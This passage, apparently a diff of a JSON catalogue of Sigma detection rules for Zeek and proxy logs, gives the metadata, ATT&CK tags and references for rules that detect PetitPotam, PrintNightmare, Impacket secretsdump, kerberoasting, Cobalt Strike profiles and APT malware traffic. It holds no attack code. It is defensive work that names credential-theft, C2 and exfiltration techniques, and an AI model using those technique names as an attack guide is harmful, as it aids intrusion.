"https://github.com/mitre-attack/bzar#indicators-for-attck-execution", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.t1053.002", - "attack.t1569.002" - ], - "creation_date": "2020/03/19", - "filename": "zeek_dce_rpc_mitre_bzar_execution.yml", - "author": "@neu5ron, SOC Prime", - "level": "medium", - "falsepositive": [ - "Windows administrator tasks or troubleshooting", - "Windows management scripts or software" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.", - "uuid": "53389db6-ba46-48e3-a94c-e0f2cefe1583", - "value": "MITRE BZAR Indicators for Persistence", - "meta": { - "refs": [ - "https://github.com/mitre-attack/bzar#indicators-for-attck-persistence", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.004" - ], - "creation_date": "2020/03/19", - "filename": "zeek_dce_rpc_mitre_bzar_persistence.yml", - "author": "@neu5ron, SOC Prime", - "level": "medium", - "falsepositive": [ - "Windows administrator tasks or troubleshooting", - "Windows management scripts or software" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam.\nThe usage of this RPC function should be rare if ever used at all.\nThus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate.\n View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..'\n", - "uuid": "4096842a-8f9f-4d36-92b4-d0b2a62f9b2a", - "value": "Potential PetitPotam Attack Via EFS RPC Calls", - "meta": { - "refs": [ - "https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp", - "https://msrc.microsoft.com/update-guide/vulnerability/ADV210003", - "https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf", - "https://threatpost.com/microsoft-petitpotam-poc/168163/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml" - ], - "tags": [ - "attack.t1557.001", - "attack.t1187" - ], - "creation_date": "2021/08/17", - "filename": "zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml", - "author": "@neu5ron, @Antonlovesdnb, Mike Remen", - "level": "medium", - "falsepositive": [ - "Uncommon but legitimate windows administrator or software tasks that make use of the Encrypting File System RPC Calls. Verify if this is common activity (see description)." - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675).\nThe occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.\n", - "uuid": "7b33baef-2a75-4ca3-9da4-34f9a15382d8", - "value": "Possible PrintNightmare Print Driver Install", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/93d1915d-4d9f-4ceb-90a7-e8f2a59adc29", - "https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", - "https://github.com/corelight/CVE-2021-1675", - "https://old.zeek.org/zeekweek2019/slides/bzar.pdf", - "https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_printnightmare_print_driver_install.yml" - ], - "tags": [ - "attack.execution", - "cve.2021.1678", - "cve.2021.1675", - "cve.2021.34527" - ], - "creation_date": "2021/08/23", - "filename": "zeek_dce_rpc_printnightmare_print_driver_install.yml", - "author": "@neu5ron (Nate Guagenti)", - "level": "medium", - "falsepositive": [ - "Legitimate remote alteration of a printer driver." - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", - "uuid": "bae2865c-5565-470d-b505-9496c87d0c30", - "value": "SMB Spoolss Name Piped Usage", - "meta": { - "refs": [ - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", - "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", - "https://twitter.com/_dirkjan/status/1309214379003588608", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_smb_spoolss_named_pipe.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2018/11/28", - "filename": "zeek_dce_rpc_smb_spoolss_named_pipe.yml", - "author": "OTR (Open Threat Research), @neu5ron", - "level": "medium", - "falsepositive": [ - "Domain Controllers that are sometimes, commonly although should not be, acting as printer servers too" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Detects the presence of default Cobalt Strike certificate in the HTTPS traffic", - "uuid": "7100f7e3-92ce-4584-b7b7-01b40d3d4118", - "value": "Default Cobalt Strike Certificate", - "meta": { - "refs": [ - "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_default_cobalt_strike_certificate.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.s0154" - ], - "creation_date": "2021/06/23", - "filename": "zeek_default_cobalt_strike_certificate.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Identifies clients that may be performing DNS lookups associated with common currency mining pools.", - "uuid": "bf74135c-18e8-4a72-a926-0e4f47888c19", - "value": "DNS Events Related To Mining Pools", - "meta": { - "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/fa0411f9424b6c47b4d5a20165e4f1b168c1f103/Detections/ASimDNS/imDNS_Miners.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_mining_pools.yml" - ], - "tags": [ - "attack.t1569.002", - "attack.t1496" - ], - "creation_date": "2021/08/19", - "filename": "zeek_dns_mining_pools.yml", - "author": "Saw Winn Naung, Azure-Sentinel, @neu5ron", - "level": "low", - "falsepositive": [ - "A DNS lookup does not necessarily mean a successful attempt, verify a) if there was a response using the zeek answers field, if there was then verify the connections (conn.log) to those IPs. b) verify if HTTP, SSL, or TLS activity to the domain that was queried. http.log field is 'host' and ssl/tls is 'server_name'." - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>", - "uuid": "fa7703d6-0ee8-4949-889c-48c84bc15b6f", - "value": "New Kind of Network (NKN) Detection", - "meta": { - "refs": [ - "https://github.com/nknorg/nkn-sdk-go", - "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", - "https://github.com/Maka8ka/NGLite", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml" - ], - "tags": [ - "attack.command_and_control" - ], - "creation_date": "2022/04/21", - "filename": "zeek_dns_nkn.yml", - "author": "Michael Portera (@mportatoes)", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused).\nAlthough recently it has been used in DNSSec, the value being set to anything other than 0 should be rare.\nOtherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward.\nDetermine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering.\nThis Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'\n", - "uuid": "ede05abc-2c9e-4624-9944-9ff17fdc0bf5", - "value": "Suspicious DNS Z Flag Bit Set", - "meta": { - "refs": [ - "https://twitter.com/neu5ron/status/1346245602502443009", - "https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma", - "https://tools.ietf.org/html/rfc2929#section-2.1", - "https://www.netresec.com/?page=Blog&month=2021-01&post=Finding-Targeted-SUNBURST-Victims-with-pDNS", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_susp_zbit_flag.yml" - ], - "tags": [ - "attack.t1095", - "attack.t1571", - "attack.command_and_control" - ], - "creation_date": "2021/05/04", - "filename": "zeek_dns_susp_zbit_flag.yml", - "author": "@neu5ron, SOC Prime Team, Corelight", - "level": "medium", - "falsepositive": [ - "Internal or legitimate external domains using DNSSec. Verify if these are legitimate DNSSec domains and then exclude them.", - "If you work in a Public Sector then it may be good to exclude things like endswith \".edu\", \".gov\" and or \".mil\"" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Identifies IPs performing DNS lookups associated with common Tor proxies.", - "uuid": "a8322756-015c-42e7-afb1-436e85ed3ff5", - "value": "DNS TOR Proxies", - "meta": { - "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_torproxy.yml" - ], - "tags": [ - "attack.t1048" - ], - "creation_date": "2021/08/15", - "filename": "zeek_dns_torproxy.yml", - "author": "Saw Winn Naung , Azure-Sentinel", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/", - "uuid": "aac2fd97-bcba-491b-ad66-a6edf89c71bf", - "value": "Executable from Webdav", - "meta": { - "refs": [ - "http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html", - "https://github.com/OTRF/detection-hackathon-apt29", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_executable_download_from_webdav.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2020/05/01", - "filename": "zeek_http_executable_download_from_webdav.yml", - "author": "SOC Prime, Adam Swan", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request.\nVerify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP).\nWithin the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.\n", - "uuid": "ab6b1a39-a9ee-4ab4-b075-e83acf6e346b", - "value": "OMIGOD HTTP No Authentication RCE", - "meta": { - "refs": [ - "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", - "https://twitter.com/neu5ron/status/1438987292971053057?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_omigod_no_auth_rce.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.initial_access", - "attack.execution", - "attack.lateral_movement", - "attack.t1068", - "attack.t1190", - "attack.t1203", - "attack.t1021.006", - "attack.t1210" - ], - "creation_date": "2021/09/20", - "filename": "zeek_http_omigod_no_auth_rce.yml", - "author": "Nate Guagenti (neu5ron)", - "level": "high", - "falsepositive": [ - "Exploits that were attempted but unsuccessful.", - "Scanning attempts with the abnormal use of the HTTP POST method with no indication of code execution within the HTTP Client (Request) body. An example would be vulnerability scanners trying to identify unpatched versions while not actually exploiting the vulnerability. See description for investigation tips." - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.", - "uuid": "705072a5-bb6f-4ced-95b6-ecfa6602090b", - "value": "WebDav Put Request", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/17", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_webdav_put_request.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ], - "creation_date": "2020/05/02", - "filename": "zeek_http_webdav_put_request.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Detects connections from routable IPs to an RDP listener - which is indicative of a publicly-accessible RDP service.", - "uuid": "1fc0809e-06bf-4de3-ad52-25e5263b7623", - "value": "Publicly Accessible RDP Service", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1021/001/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_rdp_public_listener.yml" - ], - "tags": [ - "attack.t1021.001" - ], - "creation_date": "2020/08/22", - "filename": "zeek_rdp_public_listener.yml", - "author": "Josh Brower @DefensiveDepth", - "level": "high", - "falsepositive": [ - "Although it is recommended to NOT have RDP exposed to the internet, verify that this is a) allowed b) the server has not already been compromised via some brute force or remote exploit since it has been exposed to the internet. Work to secure the server if you are unable to remove it from being exposed to the internet." - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", - "uuid": "dde85b37-40cd-4a94-b00c-0b8794f956b5", - "value": "Remote Task Creation via ATSVC Named Pipe - Zeek", - "meta": { - "refs": [ - "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_atsvc_task.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_atsvc_task.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.persistence", - "car.2013-05-004", - "car.2015-04-001", - "attack.t1053.002" - ], - "creation_date": "2020/04/03", - "filename": "zeek_smb_converted_win_atsvc_task.yml", - "author": "Samir Bousseaden, @neu5rn", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml", - "uuid": "92dae1ed-1c9d-4eff-a567-33acbd95b00e", - "value": "Possible Impacket SecretDump Remote Activity - Zeek", - "meta": { - "refs": [ - "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.003" - ], - "creation_date": "2020/03/19", - "filename": "zeek_smb_converted_win_impacket_secretdump.yml", - "author": "Samir Bousseaden, @neu5ron", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", - "uuid": "021310d9-30a6-480a-84b7-eaa69aeb92bb", - "value": "First Time Seen Remote Named Pipe - Zeek", - "meta": { - "refs": [ - "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_lm_namedpipe.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_lm_namedpipe.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2020/04/02", - "filename": "zeek_smb_converted_win_lm_namedpipe.yml", - "author": "Samir Bousseaden, @neu5ron, Tim Shelton", - "level": "high", - "falsepositive": [ - "Update the excluded named pipe to filter out any newly observed legit named pipe" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", - "uuid": "f1b3a22a-45e6-4004-afb5-4291f9c21166", - "value": "Suspicious PsExec Execution - Zeek", - "meta": { - "refs": [ - "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_psexec.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_psexec.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2020/04/02", - "filename": "zeek_smb_converted_win_susp_psexec.yml", - "author": "Samir Bousseaden, @neu5ron, Tim Shelton", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Detects known sensitive file extensions via Zeek", - "uuid": "286b47ed-f6fe-40b3-b3a8-35129acd43bc", - "value": "Suspicious Access to Sensitive File Extensions - Zeek", - "meta": { - "refs": [ - "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_susp_raccess_sensitive_fext.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_raccess_sensitive_fext.yml" - ], - "tags": [ - "attack.collection" - ], - "creation_date": "2020/04/02", - "filename": "zeek_smb_converted_win_susp_raccess_sensitive_fext.yml", - "author": "Samir Bousseaden, @neu5ron", - "level": "medium", - "falsepositive": [ - "Help Desk operator doing backup or re-imaging end user machine or backup software", - "Users working with these data types or exchanging message files" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", - "uuid": "2e69f167-47b5-4ae7-a390-47764529eff5", - "value": "Transferring Files with Credential Data via Network Shares - Zeek", - "meta": { - "refs": [ - "https://github.com/neo23x0/sigma/blob/373424f14574facf9e261d5c822345a282b91479/rules/windows/builtin/win_transferring_files_with_credential_data_via_network_shares.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_transferring_files_with_credential_data.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.001", - "attack.t1003.003" - ], - "creation_date": "2020/04/02", - "filename": "zeek_smb_converted_win_transferring_files_with_credential_data.yml", - "author": "@neu5ron, Teymur Kheirkhabarov, oscd.community", - "level": "medium", - "falsepositive": [ - "Transferring sensitive files for legitimate administration work by legitimate administrator" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting", - "uuid": "503fe26e-b5f2-4944-a126-eab405cc06e5", - "value": "Kerberos Network Traffic RC4 Ticket Encryption", - "meta": { - "refs": [ - "https://adsecurity.org/?p=3458", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_susp_kerberos_rc4.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003" - ], - "creation_date": "2020/02/12", - "filename": "zeek_susp_kerberos_rc4.yml", - "author": "sigma", - "level": "medium", - "falsepositive": [ - "Normal enterprise SPN requests activity" - ], - "logsource.category": "No established category", - "logsource.product": "zeek" - } - }, - { - "description": "Detect update check performed by Advanced IP Scanner and Advanced Port Scanner", - "uuid": "1a9bb21a-1bb5-42d7-aa05-3219c7c8f47d", - "value": "Advanced IP/Port Scanner Update Check", - "meta": { - "refs": [ - "https://www.advanced-ip-scanner.com/", - "https://www.advanced-port-scanner.com/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_adv_ip_port_scanner_upd_check.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1590" - ], - "creation_date": "2022/08/14", - "filename": "proxy_adv_ip_port_scanner_upd_check.yml", - "author": "Axel Olsson", - "level": "medium", - "falsepositive": [ - "Legitimate use by administrators" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious user agent string of APT40 Dropbox tool", - "uuid": "5ba715b6-71b7-44fd-8245-f66893e81b3d", - "value": "APT40 Dropbox Tool User Agent", - "meta": { - "refs": [ - "Internal research from Florian Roth", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt40.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001", - "attack.exfiltration", - "attack.t1567.002" - ], - "creation_date": "2019/11/12", - "filename": "proxy_apt40.yml", - "author": "Thomas Patzke", - "level": "high", - "falsepositive": [ - "Old browsers" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects specific malware patterns used by FurBall malware linked to Iranian Domestic Kitten APT group", - "uuid": "6c939dfa-c710-4e12-a4dd-47e1f10e68e1", - "value": "Domestic Kitten FurBall Malware Pattern", - "meta": { - "refs": [ - "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt_domestic_kitten.yml" - ], - "tags": [ - "attack.command_and_control" - ], - "creation_date": "2021/02/08", - "filename": "proxy_apt_domestic_kitten.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects Baby Shark C2 Framework communication patterns", - "uuid": "304810ed-8853-437f-9e36-c4975c3dfd7e", - "value": "BabyShark Agent Pattern", - "meta": { - "refs": [ - "https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_baby_shark.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2021/06/09", - "filename": "proxy_baby_shark.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects HTTP requests used by Chafer malware", - "uuid": "fb502828-2db0-438e-93e6-801c7548686d", - "value": "Chafer Malware URL Pattern", - "meta": { - "refs": [ - "https://securelist.com/chafer-used-remexi-malware/89538/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_chafer_malware.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2019/01/31", - "filename": "proxy_chafer_malware.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects Malleable Amazon Profile", - "uuid": "953b895e-5cc9-454b-b183-7f3db555452e", - "value": "CobaltStrike Malleable Amazon Browsing Traffic Profile", - "meta": { - "refs": [ - "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile", - "https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_amazon.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2019/11/12", - "filename": "proxy_cobalt_amazon.yml", - "author": "Markus Neis", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike", - "uuid": "41b42a36-f62c-4c34-bd40-8cb804a34ad8", - "value": "CobaltStrike Malformed UAs in Malleable Profiles", - "meta": { - "refs": [ - "https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_malformed_uas.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2021/05/06", - "filename": "proxy_cobalt_malformed_uas.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects Malleable (OCSP) Profile with Typo (OSCP) in URL", - "uuid": "37325383-740a-403d-b1a2-b2b4ab7992e7", - "value": "CobaltStrike Malleable (OCSP) Profile", - "meta": { - "refs": [ - "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_ocsp.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2019/11/12", - "filename": "proxy_cobalt_ocsp.yml", - "author": "Markus Neis", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects Malleable OneDrive Profile", - "uuid": "c9b33401-cc6a-4cf6-83bb-57ddcb2407fc", - "value": "CobaltStrike Malleable OneDrive Browsing Traffic Profile", - "meta": { - "refs": [ - "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_onedrive.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2019/11/12", - "filename": "proxy_cobalt_onedrive.yml", - "author": "Markus Neis", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects WebDav DownloadCradle", - "uuid": "e09aed7a-09e0-4c9a-90dd-f0d52507347e", - "value": "Windows WebDAV User Agent", - "meta": { - "refs": [ - "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_downloadcradle_webdav.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2018/04/06", - "filename": "proxy_downloadcradle_webdav.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Administrative scripts that download files from the Internet", - "Administrative scripts that retrieve certain website contents", - "Legitimate WebDAV administration" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects download of certain file types from hosts with dynamic DNS names (selected list)", - "uuid": "195c1119-ef07-4909-bb12-e66f5e07bf3c", - "value": "Download from Suspicious Dyndns Hosts", - "meta": { - "refs": [ - "https://www.alienvault.com/blogs/security-essentials/dynamic-dns-security-and-potential-threats", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_dyndns.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1105", - "attack.t1568" - ], - "creation_date": "2017/11/08", - "filename": "proxy_download_susp_dyndns.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Software downloads" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects download of certain file types from hosts in suspicious TLDs", - "uuid": "00d0b5ab-1f55-4120-8e83-487c0a7baf19", - "value": "Download from Suspicious TLD", - "meta": { - "refs": [ - "https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap", - "https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf", - "https://www.spamhaus.org/statistics/tlds/", - "https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_blacklist.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566", - "attack.execution", - "attack.t1203", - "attack.t1204.002" - ], - "creation_date": "2017/11/07", - "filename": "proxy_download_susp_tlds_blacklist.yml", - "author": "Florian Roth", - "level": "low", - "falsepositive": [ - "All kinds of software downloads" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects executable downloads from suspicious remote systems", - "uuid": "b5de2919-b74a-4805-91a7-5049accbaefe", - "value": "Download EXE from Suspicious TLD", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_whitelist.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566", - "attack.execution", - "attack.t1203", - "attack.t1204.002" - ], - "creation_date": "2017/03/13", - "filename": "proxy_download_susp_tlds_whitelist.yml", - "author": "Florian Roth", - "level": "low", - "falsepositive": [ - "All kind of software downloads" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects user agent and URI paths used by empire agents", - "uuid": "b923f7d6-ac89-4a50-a71a-89fb846b4aa8", - "value": "Empire UserAgent URI Combo", - "meta": { - "refs": [ - "https://github.com/BC-SECURITY/Empire", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empire_ua_uri_combos.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2020/07/13", - "filename": "proxy_empire_ua_uri_combos.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Valid requests with this exact user agent to server scripts of the defined names" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious empty user agent strings in proxy 